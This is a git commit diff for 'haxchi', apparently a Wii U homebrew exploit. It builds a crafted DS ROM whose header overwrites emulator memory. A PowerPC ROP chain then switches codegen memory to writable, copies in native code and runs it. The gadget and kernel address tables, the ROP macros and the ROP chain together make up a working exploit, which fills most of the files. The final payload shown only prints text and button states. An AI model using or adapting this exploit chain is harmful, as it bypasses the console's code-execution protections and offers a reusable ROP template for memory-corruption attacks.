initial commit

This commit is contained in:
smea 2016-11-06 17:11:18 -08:00
parent bd6fecbefa
commit 28ca659a49
13 changed files with 717 additions and 0 deletions

16
Makefile Normal file
View File

@ -0,0 +1,16 @@
.PHONY := all haxchi/haxchi_code.bin
all: haxchi.srl
haxchi/haxchi_code.bin:
@cd haxchi_code && make clean && make && cd ..
haxchi_rop_hook.bin haxchi_rop.bin: haxchi/haxchi_code.bin haxchi_rop.s
armips haxchi_rop.s
haxchi.srl: haxchi_rop_hook.bin haxchi_rop.bin haxchi.s
armips haxchi.s
clean:
@rm -f *.bin haxchi.srl
@echo "all cleaned up !"

0
haxchi.bat Normal file
View File

41
haxchi.s Normal file
View File

@ -0,0 +1,41 @@
.create "haxchi.srl", 0
.nds
hax_target_address equ 0x107968AC
code_target_address equ (0xF4000000 + 0xFD2000)
.org 0x000
.ascii "HAXCHI" ; Game Title
.org 0x00C
.ascii "HAXX" ; Gamecode
.ascii "01" ; Makercode
.byte 0x00 ; Unitcode
.org 0x020
.word arm9_data ; ARM9 rom_offset
.word 0x20000000 ; ARM9 entry_address
.word 0xEBBC0E00 + code_target_address ; ARM9 ram_address
.word arm9_data_end - arm9_data ; ARM9 size
.word arm7_data ; ARM7 rom_offset
.word 0x2000000 ; ARM7 entry_address
.word 0xEBBC0E00 + hax_target_address ; ARM7 ram_address
.word arm7_data_end - arm7_data ; ARM7 size
.org 0x080
.word total_size ; Total Used ROM size
.word 0x4000 ; ROM Header Size
.org 0x8000
arm9_data:
.incbin "haxchi_rop.bin"
arm9_data_end:
.align 0x1000
arm7_data:
.incbin "haxchi_rop_hook.bin"
arm7_data_end:
total_size:
.Close

66
haxchi_code/Makefile Normal file
View File

@ -0,0 +1,66 @@
ifeq ($(strip $(DEVKITPPC)),)
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
endif
ifeq ($(filter $(DEVKITPPC)/bin,$(PATH)),)
export PATH:=$(DEVKITPPC)/bin:$(PATH)
endif
CC = powerpc-eabi-gcc
LINK = powerpc-eabi-ld
AS = powerpc-eabi-as
OBJCOPY = powerpc-eabi-objcopy
CFLAGS += -Wall -mbig-endian -mcpu=750 -meabi -std=c99 -O2
LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITPPC)/powerpc-eabi/lib" -Map=output.map -lm -lg -lc
CFILES = $(wildcard source/*.c)
BINFILES = $(wildcard data/*.bin)
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
OFILES += $(CFILES:source/%.c=build/%.o)
DFILES = $(CFILES:source/%.c=build/%.d)
SFILES = $(wildcard source/*.s)
OFILES += $(SFILES:source/%.s=build/%.o)
PROJECTNAME = ${shell basename "$(CURDIR)"}
CWD = "$(CURDIR)""
#---------------------------------------------------------------------------------
# canned command sequence for binary data, taken from devkitPPC
#---------------------------------------------------------------------------------
define bin2o
bin2s $< | $(AS) -o $(@)
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
endef
.PHONY:=all dirs
all: dirs $(PROJECTNAME).bin
dirs:
mkdir -p build
$(PROJECTNAME).bin: $(PROJECTNAME).elf
$(OBJCOPY) -O binary $< $@
$(PROJECTNAME).elf: $(OFILES)
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
clean:
@rm -f build/*.o build/*.d
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin
@echo "all cleaned up !"
-include $(DFILES)
build/%.o: source/%.c
$(CC) $(CFLAGS) -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.o: source/%.s
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
@$(CC) -MM $< > build/$*.d
build/%.bin.o: data/%.bin
@echo $(notdir $<)
@$(bin2o)

25
haxchi_code/ccd00.ld Normal file
View File

@ -0,0 +1,25 @@
OUTPUT_ARCH(powerpc)
MEMORY
{
RAMX (rx) : ORIGIN = 0x01800000, LENGTH = 0x00010000
RAMRW (rw!i) : ORIGIN = 0x20000000, LENGTH = 0x00002000
}
SECTIONS
{
.text : ALIGN(0x100) {
build/crt0.o(.init)
*(.text)
*(.rodata)
*(.sdata)
}
.bss : {
_bss_start = .;
*(.bss);
*(.sbss);
}
_bss_end = .;
}

4
haxchi_code/ccd00.specs Normal file
View File

@ -0,0 +1,4 @@
%rename link old_link
*link:
%(old_link) -T ./ccd00.ld%s

View File

@ -0,0 +1,71 @@
#ifndef CONSTANTS_H
#define CONSTANTS_H
#define CCR_MEMCPY 301478892
#define CCR_MEMSET 301479048
#define CCR_STRNCPY 301481600
#define CCR_MOV_R0R4_POP_R4PC 301461596
#define CCR_LDR_R0R0x8_BLX_R3_POP_PC 301138616
#define CCR_ROP_R4R5R6R7R8PC 300950884
#define CCR_ROP_R4R5R6R7PC 300949720
#define CCR_MOV_R0R7_MOV_R1R8_MOV_R2R4_BLX_R5 301028284
#define CCR_MOV_R1R8_MOV_R2R4_BLX_R5 ((CCR_MOV_R0R7_MOV_R1R8_MOV_R2R4_BLX_R5 + 0x4))
#define CCR_BLX_R2_POP_R4PC 301137492
#define CCR_BLX_R6_POP_R4R5R6PC 301004128
#define CCR_BLX_R4 300999020
#define CCR_STR_R0R4x24_POP_R4PC 301277360
#define CCR_STR_R3R5x24_POP_R4R5PC 301294364
#define CCR_POP_R4PC 301277364
#define CCR_LDR_R0R5x18_BLX_R7 301319000
#define CCR_POP_R4R5PC 301139088
#define CCR_POP_R3R5PC 301159067
#define CCR_POP_R4R5R6PC 301004132
#define CCR_POP_R4R5R6R7PC 300949720
#define CCR_POP_PC 300948676
#define CCR_LDR_R0R7_POP_R4R5R6R7R8R9R10PC 301375148
#define CCR_MOV_R0R9_POP_ADD_SPxC_R4R5R6R7R8R9R10R11PC 301365520
#define CCR_LDM_SPR0R1_ADD_SPx14_POP_R4R5R6R7R8R9R10R11LR_BX_LR 301485876
#define CCR_MVNSNE_SPR4RORx13_BX_LR 301204712
#define CCR_CMP_R3x0_POPEQ_PC_BLX_R3_POP_PC 300999264
#define CCR_BLX_R4_POP_R4R5PC 301016140
#define CCR_IOCTL_RET 301232392
#define CCR_NFC_STACKTOP 303204396
#define CCR_NFC_STACKSIZE 51168
#define ROP_INITIAL_START_LR ((CCR_NFC_STACKTOP - 0x20 - (9 * 0x4 + 0x4) - 0x4))
#define ROP_INITIAL_START ((ROP_INITIAL_START_LR + 0x4 + 0x8))
#define CCR_FSA_HANDLE 301957260
#define CCR_ROP_SVC_6 301477528
#define CCR_ROP_SVC_CREATETHREAD 301477480
#define CCR_ROP_SVC_IOCTL 301477928
#define CCR_ROP_SVC_IOCTLV 301477936
#define CCR_ROP_SVC_STARTTHREAD 301477536
#define CCR_ROP_SVC_CREATEMESSAGEQUEUE 301477576
#define CCR_ROP_SVC_JAMMESSAGEQUEUE 301477600
#define CCR_ROP_SVC_CREATEHEAP 301477760
#define CCR_ROP_SVC_FREEANDCLEAR 301477816
#define CCR_ROP_SVC_4F 301478112
#define CCR_ROP_SVC_RESOURCEREPLY0 301478064
#define CCR_POP_R4LR_ROP_SVC_4F 301226192
#define CCR_ROP_ALLOC_IOCTLBUF 301462868
#define CCR_ROP_START 301232500
#define KERNEL_SVC_81_HANDLER 135449900
#define KERNEL_READ_OTP 135397960
#define KERNEL_SET_DOMAIN 135457296
#define KERNEL_DOMAIN_TABLE 135938048
#define KERNEL_MEMCPY 135470340
#define KERNEL_STRNLEN 135473816
#define KERNEL_INVALIDATE_ICACHE 135453936
#define FRAMEBUFFER_VA 0xF4000000
#define FRAMEBUFFER_PA 0
#define FRAMEBUFFER_SIZE 7372800
#define ROP_SECONDARY_SIZE 4096
#define ROP_SECONDARY_SRCBUF_VA 671088640
#define ROP_SECONDARY_SRCBUF_PA (ROP_SECONDARY_SRCBUF_VA - 0x10000000 + 0x50000000)
#define ROP_SECONDARY_DSTBUF (CCR_NFC_STACKTOP - CCR_NFC_STACKSIZE)
#define DATABUFFER_VA ROP_SECONDARY_SRCBUF_VA+0x2000
#define DATABUFFER_PA (DATABUFFER_VA - 0x10000000 + 0x50000000)
#define CCR_SHELLCODE_DST 0x11F85800
#define MCP_SHELLCODE_DST 0x05059900
#define SHELLCODE_SRC_VA ((ROP_SECONDARY_SRCBUF_VA+0x3000))
#define SHELLCODE_SRC_PA (SHELLCODE_SRC_VA - 0x10000000 + 0x50000000)
#define SHELLCODE_DST 0xFFFFEC00
#endif

View File

@ -0,0 +1,8 @@
.section ".init"
.align 4
.extern _main
.type _main, %function
_start:
b _main

View File

@ -0,0 +1,91 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "imports.h"
#define COREINIT_OFFSET (- 0xFE3C00)
// dynamically linked
int (*IOS_Open)(const char* dev, int flags) = NULL;
int (*IOS_Ioctl)(int fd, u32 cmd, void* buf_in, u32 size_in, void* buf_out, u32 size_out) = NULL;
void (*DCFlushRange)(void *buffer, uint32_t length) = NULL;
int (*OSScreenClearBufferEx)(int bufferNum, u32 val) = NULL;
int (*OSScreenPutFontEx)(int bufferNum, unsigned int posX, unsigned int line, void* buffer) = NULL;
void (*OSFatal)(char*) = NULL;
void (*OSForceFullRelaunch)(void) = NULL;
void (*OSRestartGame)(void*, void*) = NULL;
int (*SYSLaunchMenu)(void) = NULL;
int (*SYSRelaunchTitle)(int, void*) = NULL;
int (*SYSLaunchSettings)(void*) = NULL;
int (*SYSSwitchToBrowser)(char*) = NULL;
int (*_SYSLaunchSettingsDirect)(void*) = NULL;
void (*Exit)(void) = NULL;
void (*_exit)(void) = NULL;
void (*OSScreenInit)(void) = NULL;
int (*OSScreenGetBufferSizeEx)(int bufferNum) = NULL;
int (*OSScreenSetBufferEx)(int bufferNum, void* addr) = NULL;
int (*OSScreenFlipBuffersEx)(int bufferNum) = NULL;
void* (*OSAllocFromSystem)(u32 size, int align) = NULL;
void (*OSFreeToSystem)(void *ptr) = NULL;
int (*IM_Open)() = NULL;
int (*IM_Close)(int fd) = NULL;
int (*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b) = NULL;
int (*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
// 5.5.x values
int (*const OSDynLoad_Acquire)(const char* lib_name, int* out_addr) = (void*)(COREINIT_OFFSET + 0x0200DFB4);
int (*const OSDynLoad_FindExport)(int lib_handle, int flags, const char* name, void* out_addr) = (void*)(COREINIT_OFFSET + 0x0200F428);
void init_imports()
{
int coreinit_handle, sysapp_handle, vpad_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFatal", &OSFatal);
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
OSDynLoad_FindExport(coreinit_handle, 0, "OSRestartGame", &OSRestartGame);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSRelaunchTitle", &SYSRelaunchTitle);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser);
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchSettingsDirect", &_SYSLaunchSettingsDirect);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &Exit);
OSDynLoad_FindExport(coreinit_handle, 0, "exit", &_exit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
}
void* memset(void *d, int v, size_t size)
{
int i;
for(i = 0; i < size; i++) ((unsigned char*)d)[i] = v;
return d;
}
void* memcpy(void *d, const void* s, size_t size)
{
int i;
for(i = 0; i < size; i++) ((unsigned char*)d)[i] = ((unsigned char*)s)[i];
return d;
}

View File

@ -0,0 +1,94 @@
#ifndef IMPORTS_H
#define IMPORTS_H
#include "types.h"
#include "constants.h"
#define BSS_PHYS_OFFSET (0x50000000 - 0x10000000)
#define BSS_VA2PA(a) ((void*)(((u32)a) + BSS_PHYS_OFFSET))
#define BSS_PA2VA(a) ((void*)(((u32)a) - BSS_PHYS_OFFSET))
extern void* _bss_start;
extern void* _bss_end;
extern int (*IOS_Open)(const char* dev, int flags);
extern int (*IOS_Ioctl)(int fd, u32 cmd, void* buf_in, u32 size_in, void* buf_out, u32 size_out);
extern void (*DCFlushRange)(void *buffer, uint32_t length);
extern int (*OSScreenClearBufferEx)(int bufferNum, u32 val);
extern int (*OSScreenPutFontEx)(int bufferNum, unsigned int posX, unsigned int line, void* buffer);
extern void (*OSFatal)(char*);
extern void (*OSForceFullRelaunch)(void);
extern int (*SYSLaunchMenu)(void);
extern int (*SYSRelaunchTitle)(int, void*);
extern int (*SYSLaunchSettings)(void*);
extern int (*SYSSwitchToBrowser)(char*);
extern int (*_SYSLaunchSettingsDirect)(void*);
extern void (*Exit)(void);
extern void (*_exit)(void);
extern void* (*OSAllocFromSystem)(u32 size, int align);
extern void (*OSFreeToSystem)(void *ptr);
extern int (*IM_Open)();
extern int (*IM_Close)(int fd);
extern int (*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
extern void (*OSScreenInit)(void);
extern int (*OSScreenGetBufferSizeEx)(int bufferNum);
extern int (*OSScreenSetBufferEx)(int bufferNum, void* addr);
extern int (*OSScreenFlipBuffersEx)(int bufferNum);
// the following (temporarily) stolen from libwiiu
#define BUTTON_A 0x8000
#define BUTTON_B 0x4000
#define BUTTON_X 0x2000
#define BUTTON_Y 0x1000
#define BUTTON_LEFT 0x0800
#define BUTTON_RIGHT 0x0400
#define BUTTON_UP 0x0200
#define BUTTON_DOWN 0x0100
#define BUTTON_ZL 0x0080
#define BUTTON_ZR 0x0040
#define BUTTON_L 0x0020
#define BUTTON_R 0x0010
#define BUTTON_PLUS 0x0008
#define BUTTON_MINUS 0x0004
#define BUTTON_HOME 0x0002
#define BUTTON_SYNC 0x0001
typedef struct
{
float x,y;
} Vec2D;
typedef struct
{
uint16_t x, y; /* Touch coordinates */
uint16_t touched; /* 1 = Touched, 0 = Not touched */
uint16_t validity; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */
} VPADTPData;
typedef struct
{
uint32_t btn_hold; /* Held buttons */
uint32_t btn_trigger; /* Buttons that are pressed at that instant */
uint32_t btn_release; /* Released buttons */
Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */
char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */
VPADTPData tpdata; /* Normal touchscreen data */
VPADTPData tpdata1; /* Modified touchscreen data 1 */
VPADTPData tpdata2; /* Modified touchscreen data 2 */
char unknown6a[0xa0 - 0x6a];
uint8_t volume;
uint8_t battery; /* 0 to 6 */
uint8_t unk_volume; /* One less than volume */
char unknowna4[0xac - 0xa4];
} VPADData;
extern int (*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
void init_imports();
#endif

70
haxchi_code/source/main.c Normal file
View File

@ -0,0 +1,70 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "imports.h"
u32* framebuffer_tv;
u32* framebuffer_drc;
u32 framebuffer_tv_size;
u32 framebuffer_drc_size;
void gfxInit()
{
OSScreenInit();
framebuffer_tv_size = OSScreenGetBufferSizeEx(0);
framebuffer_drc_size = OSScreenGetBufferSizeEx(1);
framebuffer_tv = (u32*)0xF4000000;
framebuffer_drc = (u32*)((void*)framebuffer_tv + framebuffer_tv_size);
OSScreenSetBufferEx(0, framebuffer_tv);
OSScreenSetBufferEx(1, framebuffer_drc);
}
void gfxFlip()
{
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
}
void print(char* str, int x, int y)
{
OSScreenPutFontEx(0, x, y, str);
OSScreenPutFontEx(1, x, y, str);
}
void _main()
{
// clear bss
memset(&_bss_start, 0x00, &_bss_end - &_bss_start);
// get all the functions
init_imports();
// init framebuffers and stuff
gfxInit();
while(1)
{
VPADData vpad_data;
int vpad_error;
VPADRead(0, &vpad_data, 1, &vpad_error);
OSScreenClearBufferEx(0, 0x40404040);
OSScreenClearBufferEx(1, 0x40404040);
print("wii u got SPYND yo", 5, 5);
int line = 7;
if (vpad_data.btn_hold & BUTTON_A) print("A is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_B) print("B is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_X) print("X is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_Y) print("Y is held", 7, line++);
if (vpad_data.btn_hold & BUTTON_HOME) print("HOME is held", 7, line++);
gfxFlip();
}
while(1);
}

View File

@ -0,0 +1,29 @@
#ifndef TYPES_H
#define TYPES_H
#include <stdint.h>
#include <stdbool.h>
#define U64_MAX UINT64_MAX
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef volatile s8 vs8;
typedef volatile s16 vs16;
typedef volatile s32 vs32;
typedef volatile s64 vs64;
#endif

202
haxchi_rop.s Normal file
View File

@ -0,0 +1,202 @@
MAIN_STACKTOP equ (0x30796C00)
CORE0_STACKORIG equ (0x2B566050) ; TEMP ?
CORE0_ROPSTART equ (CORE0_STACKORIG + 0x2054) ; TEMP ?
RPX_OFFSET equ (0x01800000)
COREINIT_OFFSET equ (- 0xFE3C00)
LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02207084)
MTCTR_R28_ADDI_R6x68_MR_R5R29_R4R22_R3R21_BCTRL equ (RPX_OFFSET + 0x02206FA8)
BCTRL equ (RPX_OFFSET + 0x02206FBC)
MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3610)
LWZ_R0x104_MTLR_R0_ADDI_R1x100_BLR equ (RPX_OFFSET + 0x020E92C8)
LWZ_R0x2054_MTLR_R0_ADDI_R1x2050_BLR equ (RPX_OFFSET + 0x02026DE0)
LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020ACA38)
MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179168)
LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B44)
MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL equ (COREINIT_OFFSET + 0x02002968)
NERD_CREATETHREAD equ (RPX_OFFSET + 0x022219E8)
NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E04)
HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8)
HACHI_APPLICATION_PTR equ (0x10c8c938)
OS_CREATETHREAD equ (0x02025764 + COREINIT_OFFSET)
OS_GETTHREADAFFINITY equ (0x020266A4 + COREINIT_OFFSET)
OS_FORCEFULLRELAUNCH equ (0x02019BA8 + COREINIT_OFFSET)
OSCODEGEN_GETVARANGE equ (0x0201B1C0 + COREINIT_OFFSET)
OSCODEGEN_SWITCHSECMODE equ (0x0201B2C0 + COREINIT_OFFSET)
MEMCPY equ (0x02019BC8 + COREINIT_OFFSET)
DC_FLUSHRANGE equ (0x02007B88 + COREINIT_OFFSET)
IC_INVALIDATERANGE equ (0x02007CB0 + COREINIT_OFFSET)
SYS_LAUNCHSETTINGS equ (0x03B9B25C)
_EXIT equ (0x0229a240 + RPX_OFFSET)
exit equ (0x022924b0 + RPX_OFFSET)
OSFATAL equ (0x02015218 + COREINIT_OFFSET)
CODEGEN_ADR equ 0x01800000
NERD_THREADOBJECT equ (0x107968AC - 0x1000)
.macro set_sp,v
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
.word 0xDEADBABE ; r30
.word v ; r31
.word 0xDEAD0001 ; garbage
.word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR
.word 0xDEADBABE ; r26
.word 0xDEADBABE ; r27
.word 0xDEADBABE ; r28
.word 0xDEADBABE ; r29
.word 0xDEADBABE ; r30
.word 0xDEADBABE ; r31
.word 0xDEAD0001 ; garbage
.word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR
.endmacro
.macro call_func,f,arg1,arg2,arg3,arg4
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
.word 0xDEAD0001 ; garbage
.word 0xDEADBABE ; r21
.word 0xDEADBABE ; r22
.word 0xDEADBABE ; r23
.word 0xDEADBABE ; r24
.word 0xDEADBABE ; r25
.word 0xDEADBABE ; r26
.word f ; r27 (ctr)
.word arg4 ; r28 (r6)
.word arg3 ; r29 (r5)
.word arg2 ; r30 (r4)
.word arg1 - 2 ; r31 (r3 - 2)
; sp is here when LMW_R26R1x18 happens
.word 0xDEAD0004 ; garbage
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
.word 0xDEAD0008 ; garbage
.word 0xDEAD000C ; garbage
.word 0xDEAD0010 ; garbage
.word 0xDEAD0014 ; garbage
.word 0xDEADBABE ; r26
.word 0xDEADBABE ; r27
.word 0xDEADBABE ; r28
.word 0xDEADBABE ; r29
.word 0xDEADBABE ; r30
.word 0xDEADBABE ; r31
; final sp is here
.word 0xDEADBABE ; garbage
.endmacro
.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
.word 0xDEAD0001 ; garbage
.word arg6 ; r21 (r8)
.word 0xDEADBABE ; r22
.word 0xDEADBABE ; r23
.word arg1 ; r24 (r3)
.word arg2 ; r25 (r4)
.word 0xDEADBABE ; r26
.word arg3 ; r27 (r5)
.word arg4 ; r28 (r6)
.word arg5 ; r29 (r7)
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr)
.word 0xDEADBABE ; r31
; sp is here when LMW_R26R1x18 happens
.word 0xDEAD0004 ; garbage
.word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL
.word 0xDEAD0001 ; garbage
.word 0xDEADBABE ; r21
.word 0xDEADBABE ; r22
.word 0xDEADBABE ; r23
.word 0xDEADBABE ; r24
.word 0xDEADBABE ; r25
.word 0xDEADBABE ; r26
.word f ; r27 (ctr)
.word arg4 ; r28 (r6)
.word arg3 ; r29 (r5)
.word arg2 ; r30 (r4)
.word arg1 - 2 ; r31 (r3 - 2)
; sp is here when LMW_R26R1x18 happens
.word 0xDEAD0004 ; garbage
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
.word 0xDEAD0008 ; garbage
.word 0xDEAD000C ; garbage
.word 0xDEAD0010 ; garbage
.word 0xDEAD0014 ; garbage
.word 0xDEADBABE ; r26
.word 0xDEADBABE ; r27
.word 0xDEADBABE ; r28
.word 0xDEADBABE ; r29
.word 0xDEADBABE ; r30
.word 0xDEADBABE ; r31
; final sp is here
.word 0xDEADBABE ; garbage
.endmacro
.create "haxchi_rop_hook.bin", 0x107968AC
.arm.big
rop_hook_start:
set_sp (rop_start - 4)
.Close
.create "haxchi_rop.bin", (0xF4000000 + 0xFD2000)
.arm.big
rop_start:
; call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
; call_func SYS_LAUNCHSETTINGS, 0, 0, 0, 0
; call_func exit, 0, 0, 0, 0
; call_func _EXIT, 0, 0, 0, 0
; .word _EXIT
; .word _START_EXIT
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
; .word 0xDEADBABE ; garbage
call_func_6args NERD_CREATETHREAD, NERD_THREADOBJECT, LWZ_R0x2054_MTLR_R0_ADDI_R1x2050_BLR, 0xDEAD0DAD, thread_param, 0x0, 0x0
call_func OS_GETTHREADAFFINITY, NERD_THREADOBJECT, 0, 0, 0
call_func MEMCPY, CORE0_ROPSTART, core0rop, core0rop_end - core0rop, 0x0
call_func NERD_STARTTHREAD, NERD_THREADOBJECT, 0x0, 0x0, 0x0
call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop
core0rop:
; switch codegen to RW
call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0
; memcpy code
call_func MEMCPY, CODEGEN_ADR, code, code_end - code, 0x0
call_func DC_FLUSHRANGE, CODEGEN_ADR, code_end - code, 0x0, 0x0
; switch codegen to RX
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
call_func IC_INVALIDATERANGE, CODEGEN_ADR, code_end - code, 0x0, 0x0
.word CODEGEN_ADR
core0rop_end:
output_string:
.ascii "haxthread"
.byte 0x00
.align 0x4
thread_param:
.word output_string
.word 0x00800000 ; stack size
.word 0x00000010 ; thread prio
.halfword 0x0001 ; thread affinity (core0)
code:
.incbin "haxchi_code/haxchi_code.bin"
code_end:
.Close